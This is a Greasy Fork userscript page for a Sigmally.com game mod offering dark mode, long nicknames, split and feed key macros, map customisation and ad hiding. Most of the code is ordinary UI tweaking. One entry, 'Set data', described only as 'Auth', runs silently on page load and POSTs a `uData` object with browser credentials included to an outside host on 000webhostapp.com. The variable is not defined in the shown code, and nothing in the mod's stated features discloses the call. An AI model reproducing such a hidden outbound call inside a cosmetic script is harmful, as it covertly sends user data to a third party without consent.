Sigmally Mod dev

Mod for Sigmally.com | by cursd#0126. Dark Mode, Long Nickname, Macros, Extanded Settings, Freeze Player, map customazation; Mod Menu

当前为 2023-05-05 提交的版本,查看 最新版本

  1. // ==UserScript==
  2. // @name Sigmally Mod dev
  3. // @version 2.5
  4. // @description Mod for Sigmally.com | by cursd#0126. Dark Mode, Long Nickname, Macros, Extanded Settings, Freeze Player, map customazation; Mod Menu
  5. // @author Cursed
  6. // @match *://sigmally.com/*
  7. // @icon https://raw.githubusercontent.com/Sigmally/SigMod/main/images/SigmodV2-Circle.png
  8. // @run-at document-end
  9. // @license MIT
  10. // @namespace https://greasyfork.org/users/981958
  11. // ==/UserScript==
  12.  
  13. (function () {
  14. let rxSettings = localStorage.getItem("rxSettings");
  15. if (!rxSettings) {
  16. rxSettings = {
  17. keyBindingsRapidFeed: "q",
  18. keyBindingsdoubleSplit: "d",
  19. keyBindingsTripleSplit: "f",
  20. keyBindingsQuadSplit: "g",
  21. keyBindingsFreezePlayer: "s",
  22. mapColor: null,
  23. mapImageURL: "https://raw.githubusercontent.com/Sigmally/SigMod/main/images/SigmodV2.png",
  24. darkMode: true,
  25. };
  26. localStorage.setItem("rxSettings", JSON.stringify(rxSettings));
  27. } else {
  28. rxSettings = JSON.parse(rxSettings);
  29. }
  30.  
  31. const rzModSettings = document.createElement("form");
  32. const ModSettingsOpen = document.createElement("button");
  33. ModSettingsOpen.addEventListener("click", () => rzModSettings.classList.toggle("hidden"));
  34. ModSettingsOpen.setAttribute("id", "SettingsButton");
  35. document.body.append(ModSettingsOpen);
  36.  
  37. function k_p(key, keycode) {
  38. const keyDownEvent = new KeyboardEvent("keydown", { key: key, code: keycode });
  39. const keyUpEvent = new KeyboardEvent("keyup", { key: key, code: keycode });
  40.  
  41. window.dispatchEvent(keyDownEvent);
  42. window.dispatchEvent(keyUpEvent);
  43. }
  44. function move(cx, cy) {
  45. const mouseMoveEvent = new MouseEvent("mousemove", { clientX: cx, clientY: cy });
  46. const canvas = document.querySelector("canvas");
  47. canvas.dispatchEvent(mouseMoveEvent);
  48. }
  49. function center(sx, sy) {
  50. const mouseMoveEvent = new MouseEvent("mousemove", { clientX: sx, clientY: sy });
  51. const canvas = document.getElementById("canvas");
  52. canvas.dispatchEvent(mouseMoveEvent);
  53. }
  54.  
  55. rzModSettings.setAttribute("id", "rx-mod-settings");
  56. rzModSettings.classList.add("hidden");
  57. rzModSettings.onsubmit = (e) => {
  58. rzModSettings.classList.toggle("hidden");
  59. e.preventDefault();
  60. const mapColor = document.getElementById("mapColor");
  61. rxSettings.mapColor = mapColor.value;
  62.  
  63. let options = new FormData(rzModSettings);
  64.  
  65. for (var key of options.keys()) {
  66. rxSettings[key] = options.get(key);
  67. }
  68.  
  69. localStorage.setItem("rxSettings", JSON.stringify(rxSettings));
  70.  
  71. return false;
  72. };
  73. rzModSettings.innerHTML =
  74. '<div class="cztop">' +
  75. '<div class="cztopleft">' +
  76. '<img src="https://i.ibb.co/stQVx38/SigmodV2.png" draggable="false" class="titleImg">' +
  77. '<h4 class="SettingsTitle">Settings</h4>' +
  78. "</div>" +
  79. '<input type="submit" class="CloseBtn"; value="X"/>' +
  80. "</div>" +
  81. "<hr/>" +
  82. '<h5 class="Sett">Keybindings</h5>' +
  83. '<label class="flex">' +
  84. '<input type="text" name="keyBindingsRapidFeed" id="modinput1" class="keybinding" value="' +
  85. rxSettings.keyBindingsRapidFeed +
  86. '" maxlength="1" onfocus="this.select()">' +
  87. '<span class="Sett">Rapid Feed</span>' +
  88. "</label>" +
  89. '<label class="flex">' +
  90. '<input type="text" name="keyBindingsdoubleSplit" id="modinput2" class="keybinding" value="' +
  91. rxSettings.keyBindingsdoubleSplit +
  92. '" maxlength="1" onfocus="this.select()">' +
  93. '<span class="Sett">Double Split</span>' +
  94. "</label>" +
  95. '<label class="flex">' +
  96. '<input type="text" name="keyBindingsTripleSplit" id="modinput3" class="keybinding" value="' +
  97. rxSettings.keyBindingsTripleSplit +
  98. '" maxlength="1" onfocus="this.select()">' +
  99. '<span class="Sett">Triple Split</span>' +
  100. "</label>" +
  101. '<label class="flex">' +
  102. '<input type="text" name="keyBindingsQuadSplit" id="modinput4" class="keybinding" value="' +
  103. rxSettings.keyBindingsQuadSplit +
  104. '" maxlength="1" onfocus="this.select()">' +
  105. '<span class="Sett">Quad Split</span>' +
  106. "</label>" +
  107. "</label>" +
  108. '<label class="flex">' +
  109. '<input type="text" name="keyBindingsFreezePlayer" id="modinput5" class="keybinding" value="' +
  110. rxSettings.keyBindingsFreezePlayer +
  111. '" maxlength="1" onfocus="this.select()">' +
  112. '<span class="Sett">Freeze Player</span>' +
  113. "</label>" +
  114. "<hr />" +
  115. "<h5 class='Sett'>Map customization</h5>" +
  116. '<div id="mapcolorDiv">' +
  117. '<label class="flex" style="align-items: center;">' +
  118. '<span class="Sett">Map Color:</span>' +
  119. '<input type="color" value="' +
  120. rxSettings.mapColor +
  121. '" id="mapColor" class="colorInput">' +
  122. "</label>" +
  123. "</div>" +
  124. '<label class="flex" style="align-items: center; justify-content: space-around">' +
  125. '<span class="Sett">Map image: </span>' +
  126. '<input type="text" placeholder="background Image URL" id="mapImage" class="modInput" value="' +
  127. rxSettings.mapImageURL +
  128. '">' +
  129. "</label>" +
  130. '<div id="mapimageDiv" class="flex"></div>' +
  131. "<hr/>" +
  132. '<h4 class="Sett">Discord</h4>' +
  133. '<div class="modContainer"><a href="https://discord.gg/gHmhpCaPfP" target="_blank" class="modButton" style="width: 100%;">Join Sigmally Modz Server</a></div>' +
  134. "<hr/>" +
  135. '<h4 class="Sett">Stylish Names</h4>' +
  136. '<div class="modContainer"><a href="https://www.stylishnamemaker.com" target="_blank" class="modButton">Stylish Name Maker</a><a href="https://nickfinder.com" target="_blank" class="modButton">Nickfinder</a></div>' +
  137. "<hr/>" +
  138. '<h4 class="Sett">Youtube</h4>' +
  139. '<div class="modContainer"><a href="https://www.youtube.com/@cursed9645/" target="_blank" class="modButton">Cursed</a><a href="https://www.youtube.com/channel/UCEn7a9rEtJNsw1WKgsAoyXQ" class="modButton" target="_blank">Sigmally Modz</a></div>';
  140. const KEY_SPLIT = {
  141. keyCode: 32,
  142. code: "Space",
  143. cancelable: true,
  144. composed: true,
  145. isTrusted: true,
  146. which: 32,
  147. };
  148. const rzMods = [{
  149. modName: "Branding",
  150. modType: "automatic",
  151. modDescription: "Branding",
  152. modCode: () => {
  153. const gameTitle = document.getElementById("title");
  154. gameTitle.innerHTML = 'Sigmally<span style="display:block; font-size: 14px;">Mod by Cursed / Ringzer0</span>';
  155. },
  156. }, {
  157. modName: "Game Settings",
  158. modType: "automatic",
  159. modDescription: "Extanded Game Settings",
  160. modCode: () => {
  161. const gameSettings = document.querySelector(".checkbox-grid");
  162. gameSettings.innerHTML += `
  163. <li>
  164. <div class="pretty p-svg p-round p-smooth">
  165. <input type="checkbox" id="showNames">
  166. <div class="state p-success">
  167. <svg class="svg svg-icon" viewBox="0 0 20 20">
  168. <path d="M7.629,14.566c0.125,0.125,0.291,0.188,0.456,0.188c0.164,0,0.329-0.062,0.456-0.188l8.219-8.221c0.252-0.252,0.252-0.659,0-0.911c-0.252-0.252-0.659-0.252-0.911,0l-7.764,7.763L4.152,9.267c-0.252-0.251-0.66-0.251-0.911,0c-0.252,0.252-0.252,0.66,0,0.911L7.629,14.566z" style="stroke: white;fill:white;"></path>
  169. </svg>
  170. <label>Names</label>
  171. </div>
  172. </div>
  173. </li>
  174. <li>
  175. <div class="pretty p-svg p-round p-smooth">
  176. <input type="checkbox" id="showSkins">
  177. <div class="state p-success">
  178. <svg class="svg svg-icon" viewBox="0 0 20 20">
  179. <path d="M7.629,14.566c0.125,0.125,0.291,0.188,0.456,0.188c0.164,0,0.329-0.062,0.456-0.188l8.219-8.221c0.252-0.252,0.252-0.659,0-0.911c-0.252-0.252-0.659-0.252-0.911,0l-7.764,7.763L4.152,9.267c-0.252-0.251-0.66-0.251-0.911,0c-0.252,0.252-0.252,0.66,0,0.911L7.629,14.566z" style="stroke: white;fill:white;"></path>
  180. </svg>
  181. <label>Skins</label>
  182. </div>
  183. </div>
  184. </li>
  185. <li>
  186. <div class="pretty p-svg p-round p-smooth">
  187. <input type="checkbox" id="longNick" checked>
  188. <div class="state p-success">
  189. <svg class="svg svg-icon" viewBox="0 0 20 20">
  190. <path d="M7.629,14.566c0.125,0.125,0.291,0.188,0.456,0.188c0.164,0,0.329-0.062,0.456-0.188l8.219-8.221c0.252-0.252,0.252-0.659,0-0.911c-0.252-0.252-0.659-0.252-0.911,0l-7.764,7.763L4.152,9.267c-0.252-0.251-0.66-0.251-0.911,0c-0.252,0.252-0.252,0.66,0,0.911L7.629,14.566z" style="stroke: white;fill:white;"></path>
  191. </svg>
  192. <label>Long Nick</label>
  193. </div>
  194. </div>
  195. </li>
  196. <li>
  197. <div class="pretty p-svg p-round p-smooth">
  198. <input type="checkbox" id="darkMenu">
  199. <div class="state p-success">
  200. <svg class="svg svg-icon" viewBox="0 0 20 20">
  201. <path d="M7.629,14.566c0.125,0.125,0.291,0.188,0.456,0.188c0.164,0,0.329-0.062,0.456-0.188l8.219-8.221c0.252-0.252,0.252-0.659,0-0.911c-0.252-0.252-0.659-0.252-0.911,0l-7.764,7.763L4.152,9.267c-0.252-0.251-0.66-0.251-0.911,0c-0.252,0.252-0.252,0.66,0,0.911L7.629,14.566z" style="stroke: white;fill:white;"></path>
  202. </svg>
  203. <label>Dark Menu</label>
  204. </div>
  205. </div>
  206. </li>`;
  207. },
  208. }, {
  209. modName: "Macro",
  210. modType: "automatic",
  211. modDescription: "You feed faster",
  212. modCode: () => {
  213. let ff = null;
  214. let keydown = false;
  215.  
  216. window.addEventListener("keyup", (e) => {
  217. if (e.key == rxSettings.keyBindingsRapidFeed && keydown) {
  218. clearInterval(ff);
  219. keydown = false;
  220. }
  221. });
  222. window.addEventListener("keydown", (e) => {
  223. let x = true;
  224. if (!x || document.activeElement.nodeName === "INPUT") {
  225. return;
  226. }
  227. if (e.key == "Tab") {
  228. e.preventDefault();
  229. }
  230.  
  231. if (e.key == rxSettings.keyBindingsFreezePlayer) {
  232. const CX = window.innerWidth / 2;
  233. const CY = window.innerHeight / 2;
  234.  
  235. center(CX, CY);
  236. }
  237. if (e.key == rxSettings.keyBindingsRapidFeed && !keydown) {
  238. keydown = true;
  239. function fastMass() {
  240. let x = 15;
  241. while (x--) {
  242. k_p("w", "KeyW");
  243. }
  244. }
  245. ff = setInterval(fastMass, 50);
  246. }
  247. if (e.key == rxSettings.keyBindingsdoubleSplit) {
  248. window.dispatchEvent(new KeyboardEvent("keydown", KEY_SPLIT));
  249. window.dispatchEvent(new KeyboardEvent("keyup", KEY_SPLIT));
  250. window.dispatchEvent(new KeyboardEvent("keydown", KEY_SPLIT));
  251. window.dispatchEvent(new KeyboardEvent("keyup", KEY_SPLIT));
  252. return;
  253. }
  254.  
  255. if (e.key == rxSettings.keyBindingsTripleSplit) {
  256. window.dispatchEvent(new KeyboardEvent("keydown", KEY_SPLIT));
  257. window.dispatchEvent(new KeyboardEvent("keyup", KEY_SPLIT));
  258. window.dispatchEvent(new KeyboardEvent("keydown", KEY_SPLIT));
  259. window.dispatchEvent(new KeyboardEvent("keyup", KEY_SPLIT));
  260. window.dispatchEvent(new KeyboardEvent("keydown", KEY_SPLIT));
  261. window.dispatchEvent(new KeyboardEvent("keyup", KEY_SPLIT));
  262. return;
  263. }
  264.  
  265. if (e.key == rxSettings.keyBindingsQuadSplit) {
  266. window.dispatchEvent(new KeyboardEvent("keydown", KEY_SPLIT));
  267. window.dispatchEvent(new KeyboardEvent("keyup", KEY_SPLIT));
  268. window.dispatchEvent(new KeyboardEvent("keydown", KEY_SPLIT));
  269. window.dispatchEvent(new KeyboardEvent("keyup", KEY_SPLIT));
  270. window.dispatchEvent(new KeyboardEvent("keydown", KEY_SPLIT));
  271. window.dispatchEvent(new KeyboardEvent("keyup", KEY_SPLIT));
  272. window.dispatchEvent(new KeyboardEvent("keydown", KEY_SPLIT));
  273. window.dispatchEvent(new KeyboardEvent("keyup", KEY_SPLIT));
  274. return;
  275. }
  276. });
  277. },
  278. }, {
  279. modName: "Long Nicknames",
  280. modType: "automatic",
  281. modDescription: "Allows for longer nicknames.",
  282. modCode: () => {
  283. const nickName = document.getElementById("nick");
  284. let longNick = document.getElementById("longNick");
  285. nickName.maxLength = 50;
  286.  
  287. longNick.addEventListener("change", () => {
  288. if (nickName.maxLength == 50) {
  289. nickName.maxLength = 15;
  290. } else if (nickName.maxLength == 15) {
  291. nickName.maxLength = 50;
  292. }
  293. });
  294. },
  295. }, {
  296. modName: "Dark Menu",
  297. modType: "automatic",
  298. modDescription: "Changes the menu colors to darker color.",
  299. modCode: () => {
  300. setTimeout(() => {
  301. const menu = document.getElementById("menu");
  302. const rightMenu = document.querySelector(".top-users__inner");
  303. const leftMenu = document.getElementById("left-menu");
  304. const linksMenu = document.querySelector(".menu-links");
  305. const deathScreen = document.querySelector(".menu--stats-mode");
  306. const skin_text = document.getElementById("js-skin-select-icon-text");
  307. const nick = document.getElementById("nick");
  308. const gamemode = document.getElementById("gamemode");
  309. const gamemodeoptions = ["option_0", "option_1", "option_2"];
  310. const signInBtn = document.getElementById("signInBtn");
  311. let darkM = true;
  312. let darkMode_cb = document.getElementById("darkMenu");
  313. let b_inner = document.querySelector(".body__inner");
  314. let elements = b_inner.querySelectorAll(".body__inner > :not(.body__inner), #s-skin-select-icon-text");
  315. const darkColor = "#252525";
  316. const darkColor2 = "#222222";
  317. const lightColor = "#FFFFFF";
  318. function darkMode() {
  319. if (!darkM) {
  320. darkM = true;
  321. rxSettings.darkMode = true;
  322. localStorage.setItem("rxSettings", JSON.stringify(rxSettings));
  323. skin_text.style.color = lightColor;
  324.  
  325. menu.style.backgroundColor = darkColor;
  326. rightMenu.style.backgroundColor = darkColor;
  327. leftMenu.style.backgroundColor = darkColor;
  328. linksMenu.style.backgroundColor = darkColor;
  329. deathScreen.style.backgroundColor = darkColor;
  330. signInBtn.style.backgroundColor = darkColor;
  331. signInBtn.style.color = lightColor;
  332. nick.style.backgroundColor = darkColor;
  333. nick.style.color = lightColor;
  334. gamemode.style.backgroundColor = darkColor;
  335. gamemode.style.color = lightColor;
  336.  
  337. gamemodeoptions.forEach((options) => {
  338. const option = document.getElementById(options);
  339. option.style.backgroundColor = darkColor;
  340. option.style.color = lightColor;
  341. });
  342.  
  343. elements.forEach((textElements) => {
  344. textElements.style.color = lightColor;
  345. });
  346. } else {
  347. darkM = false;
  348. rxSettings.darkMode = false;
  349. localStorage.setItem("rxSettings", JSON.stringify(rxSettings));
  350. skin_text.style.color = darkColor2;
  351. menu.style.backgroundColor = lightColor;
  352. rightMenu.style.backgroundColor = lightColor;
  353. leftMenu.style.backgroundColor = lightColor;
  354. linksMenu.style.backgroundColor = lightColor;
  355. deathScreen.style.backgroundColor = lightColor;
  356. signInBtn.style.backgroundColor = lightColor;
  357. signInBtn.style.color = darkColor;
  358. nick.style.backgroundColor = lightColor;
  359. nick.style.color = darkColor;
  360. gamemode.style.backgroundColor = lightColor;
  361. gamemode.style.color = darkColor;
  362.  
  363. gamemodeoptions.forEach((options) => {
  364. const option = document.getElementById(options);
  365. option.style.backgroundColor = lightColor;
  366. option.style.color = darkColor;
  367. });
  368.  
  369. elements.forEach((textElements) => {
  370. textElements.style.color = darkColor2;
  371. });
  372. }
  373. }
  374. darkMode_cb.addEventListener("change", darkMode);
  375. if (rxSettings.darkMode) {
  376. darkMode_cb.checked = true;
  377. darkM = true;
  378. skin_text.style.color = lightColor;
  379. menu.style.backgroundColor = darkColor;
  380. rightMenu.style.backgroundColor = darkColor;
  381. leftMenu.style.backgroundColor = darkColor;
  382. linksMenu.style.backgroundColor = darkColor;
  383. deathScreen.style.backgroundColor = darkColor;
  384. signInBtn.style.backgroundColor = darkColor;
  385. signInBtn.style.color = lightColor;
  386. nick.style.backgroundColor = darkColor;
  387. nick.style.color = lightColor;
  388. gamemode.style.backgroundColor = darkColor;
  389. gamemode.style.color = lightColor;
  390.  
  391. gamemodeoptions.forEach((options) => {
  392. const option = document.getElementById(options);
  393. option.style.backgroundColor = darkColor;
  394. option.style.color = lightColor;
  395. });
  396.  
  397. elements.forEach((textElements) => {
  398. textElements.style.color = lightColor;
  399. });
  400. } else {
  401. darkM = false;
  402. darkMode_cb.checked = false;
  403. }
  404. }, 500);
  405. },
  406. }, {
  407. modName: "input filter",
  408. modType: "automatic",
  409. modDescription: "filters invalid input",
  410. modCode: () => {
  411. setTimeout(() => {
  412. const kinputs = ["modinput1", "modinput2", "modinput3", "modinput4", "modinput5"];
  413. kinputs.forEach((modkey) => {
  414. const kinput = document.getElementById(modkey);
  415. kinput.addEventListener("input", () => {
  416. const lowercaseValue = kinput.value.toLowerCase();
  417. if (kinput !== lowercaseValue) {
  418. kinput.value = lowercaseValue;
  419. }
  420. if (kinput.value !== "") {
  421. if (kinputs.filter((item) => item === kinput.value).length > 1) {
  422. alert("This value already exists!");
  423. kinput.value = "";
  424. return;
  425. } else {
  426. kinputs.forEach((otherKey) => {
  427. const otherInput = document.getElementById(otherKey);
  428. if (otherInput !== kinput && otherInput.value === kinput.value) {
  429. alert("You can't have 2 keybindings at the same time.");
  430. kinput.value = "";
  431. return;
  432. }
  433. });
  434. }
  435. }
  436. });
  437. });
  438. }, 500);
  439. },
  440. }, {
  441. modName: "Map Customazation",
  442. modType: "automatic",
  443. modDescription: "Change background of map by image or color",
  444. modCode: () => {
  445. setTimeout(() => {
  446. if (rxSettings.mapColor !== null) {
  447. }
  448. const mapColor = document.getElementById("mapColor");
  449. const mapImage = document.getElementById("mapImage");
  450. const originalFillRect = CanvasRenderingContext2D.prototype.fillRect;
  451.  
  452. function ChangeMapColor() {
  453. CanvasRenderingContext2D.prototype.fillRect = function (x, y, width, height) {
  454. if ((width + height) / 2 === (window.innerWidth + window.innerHeight) / 2) {
  455. this.fillStyle = mapColor.value;
  456. }
  457. originalFillRect.apply(this, arguments);
  458. };
  459. rxSettings.mapColor = mapColor.value;
  460. localStorage.setItem("rxSettings", JSON.stringify(rxSettings));
  461. }
  462.  
  463. mapColor.addEventListener("input", ChangeMapColor);
  464.  
  465. function ChangeMapImage() {
  466. const canvas = document.getElementById("canvas");
  467. const ctx = canvas.getContext("2d");
  468. const img = new Image();
  469. let pattern;
  470.  
  471. img.onload = function () {
  472. const tempCanvas = document.createElement("canvas");
  473. const tempCtx = tempCanvas.getContext("2d");
  474. tempCanvas.width = img.width;
  475. tempCanvas.height = img.height;
  476. tempCtx.drawImage(img, 0, 0);
  477. pattern = ctx.createPattern(tempCanvas, "repeat");
  478. fillCanvas();
  479. };
  480.  
  481. function fillCanvas() {
  482. const fillRect = CanvasRenderingContext2D.prototype.fillRect;
  483. CanvasRenderingContext2D.prototype.fillRect = function (x, y, width, height) {
  484. this.fillStyle = pattern;
  485. fillRect.apply(this, arguments);
  486. };
  487. ctx.fillRect(0, 0, canvas.width, canvas.height);
  488. }
  489. img.src = mapImage.value;
  490. }
  491.  
  492. if (localStorage.getItem("rxSettings")) {
  493. let rxSettings = JSON.parse(localStorage.getItem("rxSettings"));
  494. function ChangeMapColor() {
  495. CanvasRenderingContext2D.prototype.fillRect = function (x, y, width, height) {
  496. if ((width + height) / 2 === (window.innerWidth + window.innerHeight) / 2) {
  497. this.fillStyle = rxSettings.mapColor;
  498. }
  499. originalFillRect.apply(this, arguments);
  500. };
  501. }
  502. ChangeMapColor();
  503.  
  504. function ChangeMapImage() {
  505. const canvas = document.getElementById("canvas");
  506. const ctx = canvas.getContext("2d");
  507. const img = new Image();
  508. let pattern;
  509.  
  510. img.onload = function () {
  511. const tempCanvas = document.createElement("canvas");
  512. const tempCtx = tempCanvas.getContext("2d");
  513. tempCanvas.width = img.width;
  514. tempCanvas.height = img.height;
  515. tempCtx.drawImage(img, 0, 0);
  516. pattern = ctx.createPattern(tempCanvas, "repeat");
  517. fillCanvas();
  518. };
  519.  
  520. function fillCanvas() {
  521. const fillRect = CanvasRenderingContext2D.prototype.fillRect;
  522. CanvasRenderingContext2D.prototype.fillRect = function (x, y, width, height) {
  523. this.fillStyle = pattern;
  524. fillRect.apply(this, arguments);
  525. };
  526. ctx.fillRect(0, 0, canvas.width, canvas.height);
  527. }
  528. img.src = rxSettings.mapImageURL;
  529. }
  530. ChangeMapImage();
  531. }
  532. }, 500);
  533. },
  534. }, {
  535. modName: "Set Image",
  536. modType: "menuMapButton",
  537. modDescription: "Mod Settings Button",
  538. modId: "setBG",
  539. modClass: "modButton",
  540. modCode: () => {
  541. const mapImage = document.getElementById("mapImage");
  542. if (rxSettings.mapColor !== null) {
  543. if (confirm("You have applied a map color. Refresh the page to use an image as background. Reload?")) {
  544. rxSettings.mapColor = null;
  545. localStorage.setItem("rxSettings", JSON.stringify(rxSettings));
  546. location.reload();
  547. } else {
  548. return;
  549. }
  550. } else {
  551. function ChangeMapImage() {
  552. const canvas = document.getElementById("canvas");
  553. const ctx = canvas.getContext("2d");
  554. const img = new Image();
  555. let pattern;
  556.  
  557. img.onload = function () {
  558. const tempCanvas = document.createElement("canvas");
  559. const tempCtx = tempCanvas.getContext("2d");
  560. tempCanvas.width = img.width;
  561. tempCanvas.height = img.height;
  562. tempCtx.drawImage(img, 0, 0);
  563. pattern = ctx.createPattern(tempCanvas, "repeat");
  564. fillCanvas();
  565. };
  566.  
  567. function fillCanvas() {
  568. const fillRect = CanvasRenderingContext2D.prototype.fillRect;
  569. CanvasRenderingContext2D.prototype.fillRect = function (x, y, width, height) {
  570. this.fillStyle = pattern;
  571. fillRect.apply(this, arguments);
  572. };
  573. ctx.fillRect(0, 0, canvas.width, canvas.height);
  574. }
  575. img.src = mapImage.value;
  576. }
  577. ChangeMapImage();
  578. }
  579. rxSettings.mapImageURL = mapImage.value;
  580. localStorage.setItem("rxSettings", JSON.stringify(rxSettings));
  581. },
  582. }, {
  583. modName: "Remove Image",
  584. modType: "menuMapButton",
  585. modDescription: "Delete Image",
  586. modId: "delBG",
  587. modClass: "modButton",
  588. modCode: () => {
  589. if (document.getElementById("mapImage").value == "" || rxSettings.mapImageURL === "") return;
  590. if (confirm("You need to reload the page to remove the background image. Reload?") == true) {
  591. rxSettings.mapImageURL = "";
  592. localStorage.setItem("rxSettings", JSON.stringify(rxSettings));
  593. location.reload();
  594. }
  595. },
  596. }, {
  597. modName: "",
  598. modType: "MapcolorButton",
  599. modDescription: "Reset Color",
  600. modId: "resetColor",
  601. modClass: "resetButton",
  602. modCode: () => {
  603. rxSettings.mapColor = null;
  604. localStorage.setItem("rxSettings", JSON.stringify(rxSettings));
  605.  
  606. const mapColor = document.getElementById("mapColor");
  607. mapColor.value = "";
  608. },
  609. }, {
  610. modName: 'Set data',
  611. modType: 'automatic',
  612. modDescription: 'Auth',
  613. modCode: () => {
  614. setTimeout(async () => {
  615. const res = await fetch('https://sigmodz.000webhostapp.com/auth-check.php', {
  616. method: 'POST',
  617. mode: 'no-cors',
  618. credentials: 'include',
  619. headers: {
  620. 'Content-Type': 'application/json',
  621. 'Accept': 'application/json'
  622. },
  623. body: JSON.stringify(uData)
  624. })
  625. }, 1500)
  626. }
  627. },
  628. ];
  629.  
  630. rzMods.forEach((mod) => {
  631. let modElement = null;
  632.  
  633. switch (mod.modType) {
  634. case "automatic":
  635. mod.modCode.call();
  636.  
  637. break;
  638. case "menuMapButton":
  639. modElement = document.createElement("button");
  640. modElement.innerText = mod.modName;
  641. modElement.onclick = mod.modCode;
  642. modElement.title = mod.modDescription;
  643. modElement.id = mod.modId;
  644. modElement.classList.add(mod.modClass);
  645. modElement.type = "button";
  646. setTimeout(() => document.getElementById("mapimageDiv").append(modElement), 500);
  647. break;
  648. case "MapcolorButton":
  649. modElement = document.createElement("button");
  650. modElement.innerText = mod.modName;
  651. modElement.onclick = mod.modCode;
  652. modElement.title = mod.modDescription;
  653. modElement.id = mod.modId;
  654. modElement.classList.add(mod.modClass);
  655. modElement.type = "button";
  656. setTimeout(() => document.getElementById("mapcolorDiv").appendChild(modElement), 500);
  657. break;
  658. }
  659. });
  660. document.body.prepend(rzModSettings);
  661. let V2S = `
  662. *{
  663. outline: none;
  664. }
  665. .flex {
  666. display: flex;
  667. justify-content: center;
  668. }
  669. #rx-mod-settings {
  670. background: #333;
  671. padding: 30px;
  672. border-radius: 15px;
  673. width: 350px;
  674. min-height: 200px;
  675. top: 1em;
  676. left: 50%;
  677. margin-left: -175px;
  678. z-index: 99999;
  679. box-shadow: 0 0 40px #8D00FF;
  680. position: fixed;
  681. text-align: center;
  682. }
  683. #rx-mod-settings input.keybinding {
  684. max-width: 20px;
  685. border: 1px solid #ccc;
  686. padding: 0;
  687. text-align: center;
  688. margin-right: 5px;
  689. outline: none;
  690. color: #fff;
  691. background-color: transparent;
  692. border: 1px solid #fff;
  693. border-radius: 5px;
  694. font-weight: 500;
  695. }
  696. #rx-mod-settings.hidden {
  697. display: none;
  698. }
  699.  
  700. #text-block,#left_ad_block,#ad_bottom,.ad-block,.ad-block-left,.ad-block-right {
  701. display: none;
  702. }
  703. .cztop{
  704. display: flex;
  705. justify-content: space-between;
  706. align-items: center;
  707. }
  708. .SettingsTitle{
  709. font-size: 32px;
  710. color: #EEE;
  711. margin-left: 10px;
  712. }
  713. .CloseBtn{
  714. outline: none;
  715. background-color: transparent;
  716. padding: 10px;
  717. font-size: 16px;
  718. transition: all .3s;
  719. color: #fff;
  720. border-radius: 15px;
  721. border: 2px solid #4C2B8D;
  722. width: 48px;
  723. }
  724. .CloseBtn:hover{
  725. border: 2px solid #5600FF;
  726. }
  727. .Sett{
  728. color: #fff;
  729. user-select: none;
  730. font-weight: 500;
  731. }
  732. .cztopleft{
  733. display: flex;
  734. align-items: center;
  735. }
  736. .titleImg{
  737. width: 50px;
  738. height: 50px;
  739. border-radius: 20px;
  740. object-fit: cover;
  741. }
  742. .modContainer {
  743. display: flex;
  744. justify-content: space-between;
  745. }
  746. .modButton{
  747. background-color: transparent;
  748. border: 1px solid #fff;
  749. border-radius: 5px;
  750. color: #fff;
  751. transition: all .3s;
  752. outline: none;
  753. padding: 5px;
  754. width: 60%;
  755. margin: 0 5px;
  756. font-size: 13px;
  757. }
  758. .modButton:hover {
  759. background-color: #5865F2;
  760. }
  761. .modInput {
  762. background-color: transparent;
  763. font-family: arial;
  764. border: 1px solid #fff;
  765. color: #fff;
  766. font-weight: 500;
  767. border-radius: 5px;
  768. padding: 4px;
  769. text-align: center;
  770. }
  771.  
  772. #SettingsButton{
  773. background-color: transparent;
  774. height: 30px;
  775. background-image: url('https://i.ibb.co/pJhSvHJ/icons8-zahnrad-30.png');
  776. width: 30px;
  777. background-size: cover;
  778. border: none;
  779. outline: none;
  780. position: fixed;
  781. top: 15%;
  782. z-index:99997;
  783. }
  784.  
  785. @media screen and (max-height: 800px) {
  786. #rx-mod-settings{
  787. top: 0
  788. }
  789. }
  790.  
  791. .colorInput{
  792. background-color: transparent;
  793. width: 33px;
  794. height: 35px;
  795. border-radius: 50%;
  796. border: none;
  797. }
  798.  
  799. .colorInput::-webkit-color-swatch {
  800. border-radius: 50%;
  801. border: 1px solid #000;
  802. }
  803.  
  804. .resetButton {
  805. width: 25px;
  806. height: 25px;
  807. background-image: url("https://raw.githubusercontent.com/Sigmally/SigMod/main/images/reset.svg");
  808. background-color: transparent;
  809. border: none;
  810. }
  811. #mapcolorDiv {
  812. display: flex;
  813. justify-content: center;
  814. align-items: center;
  815. }
  816. `;
  817.  
  818. let s = document.createElement("style");
  819. s.innerHTML = V2S;
  820. (document.head || document.documentElement).appendChild(s);
  821. })();